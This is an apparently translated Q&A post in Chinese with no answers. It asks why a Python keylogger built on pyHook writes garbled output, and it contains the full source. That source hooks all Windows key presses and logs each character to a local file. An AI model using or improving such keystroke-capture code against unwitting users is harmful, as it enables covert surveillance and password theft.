Python键盘记录器未记录字符

时间:2018-08-20 04:39:26

标签: python

我的python键盘记录器无法正常运行,但是当记录到按键时,它们不会记录为普通字符

import pyHook, pythoncom, sys, logging

file_log = 'C:\\Users\\Chance\\Desktop\\Random.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

这是我的代码,最终将按键保存为

Logger output screenshot

0 个答案:

没有答案